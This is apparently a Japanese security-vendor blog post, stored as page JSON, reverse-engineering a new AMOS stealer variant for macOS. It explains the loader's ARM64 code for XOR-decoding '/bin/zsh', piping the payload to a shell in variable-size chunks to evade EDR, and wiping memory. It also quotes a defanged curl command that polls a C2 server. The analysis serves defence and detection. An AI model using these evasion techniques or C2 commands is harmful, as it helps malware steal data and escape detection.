v1.8B","という単一の命令で行われます。これは8バイトすべてを同時にXORするARM64のNEONベクトル命令です。単純な8バイトのデコードにSIMD命令を使うのは異例で、効果は2つあります。1バイトずつのループより速いこと、そして生成される命令パターンが、シグネチャマッチングツールが学習しているスカラーのデコードループとは根本的に異なることです。",[528,2309,2310,2311,1533,2314,1533,2317,1533,2320,2323,2324,2327],{},"検証は簡単です。",[555,2312,2313],{},"0x01 XOR 0x2e = 0x2f = /",[555,2315,2316],{},"0x4c XOR 0x2e = 0x62 = b",[555,2318,2319],{},"0x47 XOR 0x2e = 0x69 = i",[555,2321,2322],{},"0x40 XOR 0x2e = 0x6e = n","となり、最初の4バイトで",[555,2325,2326],{},"/bin","が得られます。",[704,2329,2331],{"id":2330},"ステップ2パイプアーキテクチャ","ステップ2：パイプアーキテクチャ",[528,2333,710],{},[528,2335,2336],{},"コマンド名をデコードしたあと、この関数はOSのパイプを作成してforkします。",[573,2338,2339],{"style":575},[577,2340,2343],{"className":2341,"code":2342,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2344,2342],{"__ignoreMap":585},[528,2346,2347],{},"子プロセス側は次のとおりです。",[573,2349,2350],{"style":575},[577,2351,2354],{"className":2352,"code":2353,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2355,2353],{"__ignoreMap":585},[528,2357,2358,2359,2362,2363,2366,2367,2369],{},"子プロセスは自身の標準入力をパイプの読み出し側に差し替え、",[555,2360,2361],{},"/bin/zsh -s","を起動します。",[555,2364,2365],{},"-s","モードでは、シェルはコマンドをstdinから読み込みます。プロセス監視ツールから見ると、このプロセスは引数のない",[555,2368,2361],{},"として現れ、正規の対話シェルセッションと区別がつきません。",[704,2371,2373],{"id":2372},"ステップ3可変サイズのチャンク書き込み","ステップ3：可変サイズのチャンク書き込み",[528,2375,710],{},[528,2377,2378],{},"親プロセスは、復号済みのペイロードを意図的に変動するチャンクサイズでパイプの書き込み側へ送ります。",[573,2380,2381],{"style":575},[577,2382,2385],{"className":2383,"code":2384,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2386,2384],{"__ignoreMap":585},[528,2388,2389,2390,2393,2394,2397,2398,2401,2402,2405],{},"チャンクサイズの式",[555,2391,2392],{},"(remaining_length % 192) + 64","は、残りのペイロード長に応じて1回のwrite呼び出しあたり64から255バイトの値を生成します。この可変の書き込みパターンは",[555,2395,2396],{},"ktrace","や",[555,2399,2400],{},"dtrace","のようなカーネルイベントトレースツールからは見えますが、認識可能な固定サイズのシグネチャは生みません。同じペイロードでも、実行するたびに",[555,2403,2404],{},"write()","システムコールのサイズ列は変わります。",[528,2407,2408,2409,2411],{},"チャンクの間に挟まれる1マイクロ秒の",[555,2410,1113],{},"には第二の目的があります。書き込みのあいだCPUを解放し、CPU使用率を平坦に保ち、挙動ベースのEDRルールが異常なバーストI/Oと判定しかねない急激な山を避けるのです。",[704,2413,2415],{"id":2414},"ステップ4即時のメモリ消去","ステップ4：即時のメモリ消去",[528,2417,710],{},[573,2419,2420],{"style":575},[577,2421,2424],{"className":2422,"code":2423,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2425,2423],{"__ignoreMap":585},[528,2427,2428,2431],{},[555,2429,2430],{},"_bzero()","の呼び出しは、パイプへの最後の書き込みの直後に、復号済みペイロードのバッファ全体をゼロで埋めます。実行完了後に復号済みペイロードがメモリに残る時間の窓は、1マイクロ秒すら存在しません。この関数から戻った直後にライブメモリダンプを取得しても、ペイロードがあった場所にはゼロしか見つかりません。",[528,2433,2434,2435,2438],{},"これは",[766,2436,2437],{},"zero-after-use","と呼ばれ、鍵素材をメモリに残さないために高いセキュリティ水準の暗号ライブラリが用いるのと同じ技法です。この技法が汎用のマルウェアに現れるのは異例であり、開発者にセキュリティエンジニアリングの素養があることをうかがわせます。",[704,2440,2442],{"id":2441},"完全な実行シーケンス","完全な実行シーケンス：",[528,2444,710],{},[573,2446,2447],{"style":575},[577,2448,2451],{"className":2449,"code":2450,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2452,2450],{"__ignoreMap":585},[562,2454,2455],{"id":2455},"武器としてのインポートテーブル",[528,2457,568],{},[528,2459,2460],{},"このバイナリのインポートテーブルの全体は次のとおりです。",[573,2462,2463],{"style":575},[577,2464,2467],{"className":2465,"code":2466,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2468,2466],{"__ignoreMap":585},[528,2470,2471],{},"合計27シンボルです。何が欠けているかは、何があるかと少なくとも同じくらい多くを物語ります。",[704,2473,2475],{"id":2474},"不在ネットワーク","不在：ネットワーク",[528,2477,710],{},[573,2479,2480],{"style":575},[577,2481,2484],{"className":2482,"code":2483,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2485,2483],{"__ignoreMap":585},[704,2487,2489],{"id":2488},"不在ファイルシステム","不在：ファイルシステム",[528,2491,710],{},[573,2493,2494],{"style":575},[577,2495,2498],{"className":2496,"code":2497,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2499,2497],{"__ignoreMap":585},[704,2501,2503],{"id":2502},"不在プロセス内観","不在：プロセス内観",[528,2505,710],{},[573,2507,2508],{"style":575},[577,2509,2512],{"className":2510,"code":2511,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2513,2511],{"__ignoreMap":585},[704,2515,2517],{"id":2516},"不在暗号処理","不在：暗号処理",[528,2519,568],{},[573,2521,2522],{"style":575},[577,2523,2526],{"className":2524,"code":2525,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2527,2525],{"__ignoreMap":585},[528,2529,2530,2531,1533,2534,2537,2538,1533,2541,2544],{},"従来型のマルウェア検体であれば、ネットワーク関連のインポート（",[555,2532,2533],{},"socket",[555,2535,2536],{},"connect","）やファイル関連のインポート（",[555,2539,2540],{},"fopen",[555,2542,2543],{},"write","）があると想定します。このバイナリには1つもありません。標準的なスキャナから見れば、無害なプロセスランチャーに見えます。それが狙いどおりです。静的解析ツールを空振りさせるための、意図的なアーキテクチャ上の判断なのです。",[528,2546,2547,2549],{},[555,2548,917],{},"バイナリ自体が窃取を行うわけではありません。その唯一の目的は、本体である悪性ペイロード、すなわち強く難読化されたAppleScriptを投下して実行することです。悪性バイナリを探すEDRやAVは、ここにネットワークI/OもファイルI/Oも持たないローダーを見て、これを問題なしと判定しかねません。このバイナリが高水準スクリプトペイロードのための専用の配送システムである、という点を見落としてしまうのです。",[538,2551],{},[541,2553,2554],{"id":2554},"バックドア",[528,2556,547],{},[528,2558,2559,2560,2563],{},"インシデントは初期侵害で終わりませんでした。Microsoft Defenderのテレメトリは、",[555,2561,2562],{},"/Users/\u003Credacted>/.mainhelper","から実行され外部サーバーに問い合わせるプロセスを捉えていました。",[573,2565,2566],{"style":575},[577,2567,2569],{"className":777,"code":2568,"language":779,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2570,2571],{"__ignoreMap":585},[621,2572,2573,2576,2578],{"class":623,"line":624},[621,2574,2575],{"class":786},"sh",[621,2577,791],{"class":790},[621,2579,2580],{"class":804}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2582,2583],{},"このBase64文字列は16バイトのデバイスUUIDにデコードされました。攻撃者のC2インフラが初回感染の日にこのデバイスへ割り当てた、一意の識別子です。",[528,2585,2586,2589,2590,2593,2594,2596],{},[555,2587,2588],{},".mainhelper","バイナリ（SHA-256：",[555,2591,2592],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063","）は、インシデント当日にosascriptのドロッパーによって",[555,2595,787],{},"経由でインストールされていました。",[538,2598],{},[541,2600,2602],{"id":2601},"集団的な盾の強み当社のshared-threat-intelligenceプラットフォーム","集団的な盾の強み：当社のShared Threat Intelligenceプラットフォーム",[528,2604,547],{},[528,2606,2607],{},"当社のSOCでアラートが発報すると、時計が動き始めるのは対象となったお客様だけのためではなく、glueckkanjaの防護の傘の下にあるすべての組織のためです。文書化されていなかったAMOS亜種に対する今回の調査は、インテリジェンス・ギャップが実務上何を意味するかを明確にします。従来型のベンダーが脅威をまだ見ていないがゆえに何も見えていない、危険な時間の窓です。",[528,2609,2610],{},"ここで価値を発揮するのが、glueckkanjaのCSOCをご利用のお客様専用に開発した、当社独自のShared Threat Intelligence Platformです。当社は業界の更新を待つのではなく、それを生み出す側にいます。アナリストがARM64アセンブリの最後の層をまだ分解している最中に、当社のAutomated Orchestration Engineは抽出した指標をエコシステム全体へすでに配布していました。これが集団免疫を生みます。ある単一のエンドポイントで発見されたものが、数分のうちに当社の保護下にあるすべての組織にとってブロック済みの脅威になるのです。",[528,2612,2613],{},"従来型の防御機構の隙間を狙って抜けてくる脅威に対して、受動的なセキュリティは機能しません。答えは、人間の専門性と、その知見を即座かつ大規模に適用するアーキテクチャとを結びつけることにあります。当社のShared Intelligenceモデルによって、攻撃者の時間的優位は逆転します。お客様は、脅威が業界に認識されるよりも前に守られているのです。",[2615,2616,2617,2622,2625,2628],"blockquote",{},[528,2618,2619],{},[766,2620,2621],{},"データ保護に関する注記",[528,2623,2624],{},"本公開にあたり、識別につながる情報は匿名化しています。個別の技術的詳細、指標、タイムスタンプは、解析の技術的な整合性を損なわない範囲で、対象環境の継続的な保護を担保するためにわずかに変更されている場合があります。",[528,2626,2627],{},"本レポートに含まれる技術的解析および侵害の指標（IOC）は、情報提供および教育のみを目的としています。これらは知り得る限りの内容として提供されるものです。glueckkanja AGは完全性または正確性について明示・黙示を問わずいかなる保証も行わず、ここで共有する情報、ルール、シグネチャの利用から生じる損害、損失、セキュリティインシデントについて責任を負いません。すべての指標とルールは、運用に投入する前に管理された環境で検証することを推奨します。",[528,2629,2630],{},"記載した指標や技法は既知のマルウェアファミリと重なる場合があり、単一のキャンペーンに排他的に帰属するものではありません。",[2632,2633,2634],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":630,"depth":630,"links":2636},[2637,2638,2639,2640,2647,2648,2649,2650,2658,2665],{"id":564,"depth":630,"text":565},{"id":605,"depth":630,"text":605},{"id":665,"depth":630,"text":666},{"id":697,"depth":630,"text":697,"children":2641},[2642,2643,2644,2645,2646],{"id":706,"depth":844,"text":707},{"id":721,"depth":844,"text":722},{"id":735,"depth":844,"text":736},{"id":744,"depth":844,"text":744},{"id":760,"depth":844,"text":760},{"id":924,"depth":630,"text":924},{"id":1013,"depth":630,"text":1014},{"id":1128,"depth":630,"text":1129},{"id":1199,"depth":630,"text":1199,"children":2651},[2652,2653,2654,2655,2656,2657],{"id":1213,"depth":844,"text":1214},{"id":1501,"depth":844,"text":1502},{"id":1758,"depth":844,"text":1759},{"id":1954,"depth":844,"text":1955},{"id":2041,"depth":844,"text":2042},{"id":2194,"depth":844,"text":2195},{"id":2248,"depth":630,"text":2249,"children":2659},[2660,2661,2662,2663,2664],{"id":2264,"depth":844,"text":2265},{"id":2330,"depth":844,"text":2331},{"id":2372,"depth":844,"text":2373},{"id":2414,"depth":844,"text":2415},{"id":2441,"depth":844,"text":2442},{"id":2455,"depth":630,"text":2455,"children":2666},[2667,2668,2669,2670],{"id":2474,"depth":844,"text":2475},{"id":2488,"depth":844,"text":2489},{"id":2502,"depth":844,"text":2503},{"id":2516,"depth":844,"text":2517},"md","post",{"lang":2674,"seoTitle":2675,"titleClass":2676,"date":2677,"categories":2678,"blogtitlepic":2679,"socialimg":2680,"customExcerpt":2681,"keywords":2682,"maxContent":325,"asideNav":2683,"footer":2698,"contactInContent":2699,"published":325},"ja","AMOSスティーラーの亜種：未知のmacOSマルウェアのリバースエンジニアリング","h2-font-size","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","これまで文書化されていなかったAMOSスティーラーの亜種が、macOSエンドポイントを侵害しました。既知のハッシュはなく、公開データベースにC2データもありません。当社のSOCは6層の難読化を解体し、すべての指標を抽出したうえで、業界がこの検体を目にするよりも前に、数時間以内ですべてのSOCのお客様へ保護を配布しました。","AMOS Stealer, macOSマルウェア, リバースエンジニアリング, マルウェア解析, Ghidra, ARM64, インシデント対応, Threat Intelligence, CSOC, macOSセキュリティ, スティーラーマルウェア, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2684},[2685,2688,2690,2693,2695],{"href":2686,"text":2687},"#インシデント未知のiocシナリオ","インシデント",{"href":2689,"text":565},"#stage-1サンドボックス検査",{"href":2691,"text":2692},"#stage-2helper-バイナリのリバースエンジニアリング","Stage 2：バイナリ解析",{"href":2694,"text":2554},"#バックドア",{"href":2696,"text":2697},"#集団的な盾の強み当社のshared-threat-intelligenceプラットフォーム","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2700},{"bgColor":2701,"headline":488,"subline":2702,"level":562,"textStyling":2703,"flush":2704,"person":2705,"form":2711},"var(--color-gk-dark-blue)","当社のShared Threat Intelligence Platformが、業界がまだ把握していない未知のマルウェア亜種から自社をどのように保護するのか、知りたいとお考えですか。お気軽にご相談ください。","text-light","justify-content-end",{"image":2706,"cloudinary":325,"alt":2707,"name":2708,"quotee":2708,"quoteeTitle":2709,"quote":2710},"/people/people-jan-geisbauer-csoc.jpg","glueckkanja Head of Security、Jan Geisbauerのポートレート","Jan Geisbauer","Head of Security","この亜種の危険性は、技術的な複雑さ（それ自体は確かに驚くべきものですが）にあったのではありません。危険だったのは時間の窓です。Shared Threat Intelligenceがなければ、当社が解析を続けている間、ほかのお客様は何時間も無防備なままだったはずです。",{"ctaText":2712,"cta":2713,"method":2672,"action":2715,"fields":2716},"送信",{"skin":2714},"primary on-surface","/send",[2717,2721,2725,2728,2732,2737,2742,2744,2747,2750,2753,2755],{"type":2718,"id":2719,"value":2720},"hidden","_next","successful",{"label":2722,"type":582,"id":2723,"required":325,"requiredMsg":2724},"お名前*","name","お名前を入力してください。",{"label":2726,"type":582,"id":403,"required":325,"requiredMsg":2727},"会社名*","会社名を入力してください。",{"label":2729,"type":2730,"id":2730,"required":325,"requiredMsg":2731},"メールアドレス*","email","メールアドレスを入力してください。",{"label":2733,"type":2734,"id":2735,"required":484,"requiredMsg":2736},"お問い合わせ内容","textarea","message","メッセージを入力してください。",{"label":2738,"type":2739,"id":2740,"required":325,"requiredMsg":2741},"お客様のデータは、お問い合わせの処理および回答の目的で当社が保管します。データ保護に関する詳細は\u003Ca href=\"/ja/privacy\">プライバシーポリシー\u003C/a>をご覧ください。","checkbox","dataprotection","ご確認ください",{"type":2718,"id":2743,"value":235},"_topic",{"type":2718,"id":2745,"value":2746},"_location","World",{"type":2718,"id":2748,"value":2749},"_subject","Form: Blog AMOS Stealer CSOC | JA",{"type":2718,"id":2751,"value":2752},"inbox_key","gkgab-contact-form",{"type":2718,"id":2754},"_gotcha",{"type":2718,"id":2756},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2761,2762,2763,2764,2765],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","YKBLgtT_Rn7tef15RF6n8NU_Zmp7GuFWJCxlgexJgD8",{"id":2768,"extension":2769,"meta":2770,"stem":8,"__hash__":3119},"authors_data/authors.json","json",{"path":2771,"Fritz Zurhorst":2772,"Alexander Schlindwein":2778,"Sophie Luna":2784,"Nadine Klein":2792,"Karsten Kleinschmidt":2798,"Julian Wendt":2806,"Holger Bunkradt":2811,"Ralf Mania":2817,"Oliver Kieselbach":2823,"Steffen Schwerdtfeger":2829,"Gunnar Winter":2837,"Jan Petersen":2842,"Thorsten Kunzi":2847,"Moritz Pohl":2851,"Thorben Pöschus":2856,"Christoph Hannebauer":2862,"Marco Scheel":2866,"Christopher Brumm":2871,"Florian Klante":2878,"Niklas Bachmann":2883,"Nils Krautkrämer":2888,"Patrick Treptau":2894,"Peter Beckendorf":2899,"Patrick Sobau":2904,"Jörg Wunderlich":2909,"Michael Breither":2913,"Christian Kanja":2918,"Zeba Hoffmann":2924,"Jochen Fröhlich":2929,"Jan Geisbauer":2933,"Gerrit Reinke":2944,"Christian Kordel":2950,"Stephan Wälde":2954,"Carolin Kanja":2959,"Adrian Ritter":2965,"Marvin Bangert":2970,"Thorsten Pickhan":2976,"Christian Lorenz":2982,"Denis Böhm":2987,"Fabian Bader":2992,"Juan Jose Fernandez Perez":2998,"Mahschid Sayyar":3003,"Benjamin Dassow":3008,"Markus Walschburger":3013,"Jonathan Haist":3018,"Daniel Rohregger":3023,"Thomas Naunheim":3028,"Florian Stöckl":3033,"Pascal Asch":3038,"Markus Kättner":3042,"Anna Ulbricht":3049,"Annette Brauns":3056,"body":3062,"title":3118},"/authors",{"display_name":2773,"avatar":2774,"permalink":2775,"linkedin":2776,"imageOffsetTop":2777},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2779,"avatar":2780,"permalink":2781,"twitter":2782,"linkedin":2783},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789,"imageOffsetLeft":2790,"imageOffsetTop":2791},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2793,"avatar":2794,"permalink":2795,"twitter":2796,"linkedin":2797,"imageOffsetTop":2777},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2804,"imageOffsetLeft":2805},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2807,"avatar":2808,"permalink":2809,"linkedin":2810},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815,"twitter":2816},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834,"imageOffsetTop":2835,"imageOffsetLeft":2836},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2838,"avatar":2839,"permalink":2840,"twitter":2788,"linkedin":2841},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2788,"linkedin":2846},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2788,"linkedin":2841,"imageOffsetTop":2777},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2852,"avatar":2853,"permalink":2854,"twitter":2788,"linkedin":2855},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2860,"linkedin":2861},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2788,"linkedin":2841,"imageOffsetTop":2777},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2867,"avatar":2868,"permalink":2869,"twitter":2870,"linkedin":2870},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2876,"imageOffsetTop":2877},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2879,"avatar":2880,"permalink":2881,"linkedin":2882,"twitter":2788},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2788},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2889,"avatar":2890,"permalink":2891,"twitter":2892,"linkedin":2893},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2895,"avatar":2896,"permalink":2897,"linkedin":2898,"twitter":2788},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2788,"imageOffsetTop":2777},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2788},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2910,"avatar":2911,"permalink":2912,"twitter":2788},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2914,"avatar":2915,"permalink":2916,"twitter":2788,"linkedin":2917},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2922,"linkedin":2923},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2925,"avatar":2926,"permalink":2927,"linkedin":2928,"twitter":2788},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2930,"avatar":2931,"permalink":2932,"twitter":2788,"linkedin":2841},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2708,"avatar":2934,"permalink":2935,"twitter":2936,"linkedin":2936,"imageOffsetTop":2777,"socials":2937},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2938,2941],{"text":2939,"href":2940},"Blog","https://emptydc.com",{"text":2942,"href":2943},"Podcast","https://hairlessinthecloud.com",{"display_name":2945,"avatar":2946,"permalink":2947,"twitter":2948,"linkedin":2949},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2788,"linkedin":2841},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2958,"linkedin":2841},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2960,"avatar":2961,"permalink":2962,"twitter":2963,"linkedin":2964},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2969},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2971,"avatar":2972,"permalink":2973,"twitter":2974,"linkedin":2975},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2983,"avatar":2984,"permalink":2985,"linkedin":2986,"twitter":2788},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2988,"avatar":2989,"permalink":2990,"linkedin":2991,"twitter":2788},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2993,"avatar":2994,"permalink":2995,"linkedin":2996,"twitter":2997},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3004,"avatar":3005,"permalink":3006,"linkedin":3007},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3009,"avatar":3010,"permalink":3011,"linkedin":3012},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3014,"avatar":3015,"permalink":3016,"linkedin":3017},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3019,"avatar":3020,"permalink":3021,"linkedin":3022,"imageOffsetTop":2777},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3024,"avatar":3025,"permalink":3026,"linkedin":3027,"imageOffsetTop":2777},"Daniel 